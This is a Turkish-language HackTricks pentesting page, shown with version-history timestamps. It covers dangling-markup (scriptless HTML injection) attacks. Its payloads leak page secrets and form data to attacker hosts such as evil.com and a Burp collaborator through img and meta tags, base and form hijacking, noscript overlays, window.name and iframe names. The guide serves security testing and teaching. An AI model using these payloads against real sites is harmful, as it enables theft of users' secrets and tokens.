hacktricks/pentesting-web/dangling-markup-html-scriptless-injection/README.md

246 lines
13 KiB
Markdown
Raw Normal View History

# Sarkan İşaretleme - HTML betiksiz enjeksiyon
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks'i desteklemenin diğer yolları:
2024-01-02 18:28:27 +00:00
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
2022-04-28 16:01:33 +00:00
</details>
2024-02-10 18:14:16 +00:00
## Özet
2022-04-28 16:01:33 +00:00
Bu teknik, bir **HTML enjeksiyonu bulunduğunda bir kullanıcıdan bilgi çıkarmak için kullanılabilir.** Bu, [**XSS** ](../xss-cross-site-scripting/)bir yol bulamazsanız ancak **bazı HTML etiketleri enjekte edebilirseniz** çok yararlıdır.\
Ayrıca, bazı **gizli metinlerin açık metin olarak saklandığı** durumlarda istemciden **dışa aktarmak** istiyorsanız veya bazı betik yürütme işlemlerini yanıltmak istiyorsanız da yararlıdır.
Burada yorumlanan çeşitli teknikler, beklenmeyen yollarla bilgi dışa aktararak bazı [**İçerik Güvenlik Politikası**](../content-security-policy-csp-bypass/) geçişlerini atlatmak için kullanılabilir (html etiketleri, CSS, http-meta etiketleri, formlar, base...).
2024-02-10 18:14:16 +00:00
## Ana Uygulamalar
2024-02-10 18:14:16 +00:00
### Açık metin sırlarını çalmak
Sayfa yüklendiğinde `<img src='http://evil.com/log.cgi?` enjekte ettiğinizde, kurban enjekte edilen `img` etiketi ile kod arasındaki sonraki tırnak işareti içindeki tüm kodu size gönderecektir. Eğer bir sır o kısımda bulunuyorsa, onu çalacaksınız (aynı şeyi çift tırnak kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).
Eğer `img` etiketi yasaklanmışsa (örneğin CSP nedeniyle) ayrıca `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?` kullanabilirsiniz.
2024-02-05 20:00:40 +00:00
```html
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
```
Dikkat edin ki **Chrome, içinde "<" veya "\n" bulunan HTTP URL'leri engeller**, bu yüzden "ftp" gibi diğer protokol şemalarını deneyebilirsiniz.
2024-04-06 19:40:41 +00:00
Ayrıca CSS `@import`'i istismar edebilirsiniz (bir ";" bulana kadar tüm kodu gönderecektir)
2024-02-05 20:00:40 +00:00
```html
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
```
2024-02-10 18:14:16 +00:00
Ayrıca **`<table`** kullanabilirsiniz:
2024-02-05 20:00:40 +00:00
```html
<table background='//your-collaborator-id.burpcollaborator.net?'
```
Ayrıca bir `<base` etiketi de ekleyebilirsiniz. Tüm bilgiler tırnak kapatılana kadar gönderilecektir ancak bazı kullanıcı etkileşimi gerektirir (kullanıcının bazı bağlantıya tıklaması gerekir, çünkü base etiketi bağlantının işaret ettiği alanı değiştirmiştir):
2024-02-05 20:00:40 +00:00
```html
<base target=' <--- Injected
steal me'<b>test</b>
```
2024-02-10 18:14:16 +00:00
### Formları Çalma
2024-02-05 20:00:40 +00:00
```html
<base href='http://evil.com/'>
```
Sonra, verileri yollayan formlar (örneğin `<form action='update_profile.php'>`) verileri kötü niyetli alan adına gönderecektir.
2024-02-10 18:14:16 +00:00
### Formları Çalma 2
Bir form başlığı ayarlayın: `<form action='http://evil.com/log_steal'>` bu, bir sonraki form başlığını üzerine yazacak ve formdaki tüm veriler saldırganın yanına gönderilecektir.
2024-02-10 18:14:16 +00:00
### Formları Çalma 3
Düğme, "formaction" özniteliği ile formun bilgilerinin nereye gönderileceğini değiştirebilir:
2024-02-05 20:00:40 +00:00
```html
<button name=xss type=submit formaction='https://google.com'>I get consumed!
```
Bir saldırgan bunu bilgileri çalmak için kullanabilir.
Bu saldırının bir [**örneğini bu yazıda bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
2024-02-10 18:14:16 +00:00
### Açık metin sırlarını çalmak 2
En son bahsedilen teknik kullanılarak formları çalmak için (yeni bir form başlığı enjekte ederek) daha sonra yeni bir giriş alanı enjekte edebilirsiniz:
2024-02-05 20:00:40 +00:00
```html
<input type='hidden' name='review_body' value="
```
Ve bu giriş alanı, HTML'deki çift tırnakları arasındaki tüm içeriği içerecektir. Bu saldırı, "_**Açık metin sırlarını çalma**_" ile "_**Formlar2 çalma**_" yöntemlerini birleştirir.
Aynı şeyi bir form ve bir `<option>` etiketi enjekte ederek yapabilirsiniz. Kapanan bir `</option>` bulunana kadar tüm veriler gönderilecektir:
2024-02-05 20:00:40 +00:00
```html
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
```
2024-02-10 18:14:16 +00:00
### Form parametre enjeksiyonu
Bir formun yolunu değiştirebilir ve yeni değerler ekleyerek beklenmeyen bir eylemin gerçekleştirilmesini sağlayabilirsiniz:
2024-02-05 20:00:40 +00:00
```html
<form action='/change_settings.php'>
2024-02-10 18:14:16 +00:00
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
```
### Noscript kullanarak açık metin sırlarını çalmak
2024-04-06 19:40:41 +00:00
`<noscript></noscript>` Javascript'i desteklemeyen tarayıcılarda içeriği yorumlayan bir etikettir (Chrome'da Javascript'i [chrome://settings/content/javascript](chrome://settings/content/javascript) adresinde etkinleştirebilir/devre dışı bırakabilirsiniz).
2024-04-06 19:40:41 +00:00
Enjeksiyon noktasından sayfanın altına kadar web sayfasının içeriğini saldırganın kontrol ettiği siteye sızdırmak için şunu enjekte etmek olacaktır:
2024-02-05 20:00:40 +00:00
```html
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
```
### Kullanıcı etkileşimi ile CSP'nin atlatılması
Bu [portswiggers araştırmasından](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) öğrenebileceğiniz gibi, en **CSP kısıtlı** ortamlardan bile bazı **kullanıcı etkileşimi** ile hala **veri sızdırabilirsiniz**. Bu durumda, şu yükü kullanacağız:
2024-02-05 20:00:40 +00:00
```html
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
```
Not: **Kurbanı**, sizi kontrol ettiğiniz **payload**'a yönlendirecek bir **bağlantıya tıklamaya** davet edeceksiniz. Ayrıca, **`base`** etiketi içindeki **`target`** özniteliği bir sonraki tek tırnak işaretine kadar **HTML içeriği** içerecektir.\
Bu, bağlantıya tıklandığında **`window.name`**'nin **değeri**nin tüm **HTML içeriği** olacağı anlamına gelir. Dolayısıyla, bağlantıya tıklanarak erişilen sayfayı kontrol ettiğinizden, bu **`window.name`**'e erişebilir ve bu veriyi **dışa aktarabilirsiniz**:
2024-02-05 20:00:40 +00:00
```html
<script>
if(window.name) {
2024-02-10 18:14:16 +00:00
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
```
2024-02-10 18:14:16 +00:00
### Yanıltıcı betik iş akışı 1 - HTML ad alanı saldırısı
HTML içine, bir sonraki etiketi üzerine yazacak ve bir betiğin akışını etkileyecek bir değerle birlikte yeni bir etiket ekleyin. Bu örnekte, hangi bilginin paylaşılacağını seçiyorsunuz:
2024-02-05 20:00:40 +00:00
```html
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
2024-02-10 18:14:16 +00:00
...
request.share_with = document.getElementById('share_with').value;
...
}
```
### Yanıltıcı betik iş akışı 2 - Betik ad alanı saldırısı
HTML etiketleri ekleyerek javascript ad alanı içinde değişkenler oluşturun. Daha sonra bu değişken uygulamanın akışını etkileyecektir:
2024-02-05 20:00:40 +00:00
```html
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
2024-02-10 18:14:16 +00:00
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
2024-02-10 18:14:16 +00:00
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
```
2024-02-10 18:14:16 +00:00
### JSONP'nin Kötüye Kullanımı
Eğer bir JSONP arayüzü bulursanız, herhangi bir fonksiyonu herhangi bir veri ile çağırabilirsiniz:
2024-02-05 20:00:40 +00:00
```html
<script src='/editor/sharing.js'>: Legitimate script
2024-02-10 18:14:16 +00:00
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: Injected JSONP call
2024-02-10 18:14:16 +00:00
set_sharing({ ... })
```
2024-02-10 18:14:16 +00:00
Ya da bazı JavaScript kodlarını çalıştırmayı deneyebilirsiniz:
2024-02-05 20:00:40 +00:00
```html
<script src='/search?q=a&call=alert(1)'></script>
```
2024-02-10 18:14:16 +00:00
### Iframe kötüye kullanımı
Bir alt belge, üst belgenin `location` özelliğini, hatta çapraz köken durumlarında bile görüntüleme ve değiştirme yeteneğine sahiptir. Bu, bir **iframe** içine gömülmüş bir betiği istemciyi keyfi bir sayfaya yönlendirebilecek şekilde izin verir:
2024-02-05 20:00:40 +00:00
```html
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
```
Bu, şöyle bir şeyle hafifletilebilir: `sandbox=' allow-scripts allow-top-navigation'`
Bir iframe, farklı bir sayfadan hassas bilgileri sızdırmak için de kötüye kullanılabilir **iframe adı özniteliğini kullanarak**. Bu, **hassas bilgilerin iframe adı özniteliği içinde görünmesini sağlayan HTML enjeksiyonunu kötüye kullanarak** kendini iframe'leyen bir iframe oluşturabileceğiniz için mümkündür ve ardından başlangıç iframe'inden o adı erişip sızdırabilirsiniz.
2022-07-04 10:37:21 +00:00
```html
<script>
2024-02-10 18:14:16 +00:00
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
2022-07-04 10:37:21 +00:00
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
```
Daha fazla bilgi için [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
2022-07-04 10:37:21 +00:00
2024-02-10 18:14:16 +00:00
### \<meta kötüye kullanımı
2022-07-04 10:37:21 +00:00
**`meta http-equiv`** kullanarak bir Çerez ayarlamak gibi **çeşitli eylemler** gerçekleştirebilirsiniz: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` veya bir yönlendirme yapmak (bu durumda 5 saniye içinde): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Bu, **http-equiv** ile ilgili bir **CSP** ile **önlenir** (`Content-Security-Policy: default-src 'self';`, veya `Content-Security-Policy: http-equiv 'self';`)
2024-02-10 18:14:16 +00:00
### Yeni \<portal HTML etiketi
\<portal etiketinin sömürülebilir zayıflıkları hakkında çok **ilginç bir araştırma** bulabilirsiniz [burada](https://research.securitum.com/security-analysis-of-portal-element/).\
2024-02-10 18:14:16 +00:00
Bu yazının yazıldığı sırada, Chrome'da `chrome://flags/#enable-portals` adresinde portal etiketini etkinleştirmeniz gerekmektedir, aksi takdirde çalışmayacaktır.
2024-02-05 20:00:40 +00:00
```html
<portal src='https://attacker-server?
```
2024-02-10 18:14:16 +00:00
### HTML Sızıntıları
HTML'de bağlantı sızdırmak için tüm yöntemler Dangling Markup için faydalı olmayabilir, ancak bazen yardımcı olabilir. Buradan kontrol edebilirsiniz: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
2024-02-10 18:14:16 +00:00
## SS-Sızıntıları
Bu, **dangling markup ve XS-Sızıntıları arasında bir karışım**. Bir taraftan zafiyet, saldıracağımız sayfanın **aynı kökenine ait** bir sayfada **HTML enjekte etmeye** izin verir (ancak JS değil). Diğer taraftan, HTML enjekte edebileceğimiz sayfayı doğrudan **saldırmayacağız**, ancak **başka bir sayfa**.
{% content-ref url="ss-leaks.md" %}
[ss-leaks.md](ss-leaks.md)
{% endcontent-ref %}
2024-02-10 18:14:16 +00:00
## XS-Arama/XS-Sızıntıları
2022-04-05 22:03:49 +00:00
XS-Arama, **yan kanal saldırılarını kötüye kullanarak çapraz köken bilgilerini dışa çıkarmaya yöneliktir**. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler HTML etiketlerinin dahil edilmesini (JS yürütmesiyle ve olmadan) kötüye kullanır, örneğin [**CSS Enjeksiyonu**](../xs-search/#css-injection) veya [**Gecikmeli Yükleme Resimler**](../xs-search/#image-lazy-loading)**.**
2022-04-05 22:03:49 +00:00
2024-04-06 19:40:41 +00:00
{% content-ref url="../xs-search/" %}
[xs-search](../xs-search/)
2022-04-05 22:03:49 +00:00
{% endcontent-ref %}
## Kaba Kuvvet Algılama Listesi
2021-06-27 21:56:13 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
2021-06-27 21:56:13 +00:00
2024-02-10 18:14:16 +00:00
## Referanslar
2024-02-05 20:00:40 +00:00
* [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
* [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
* [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
* [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)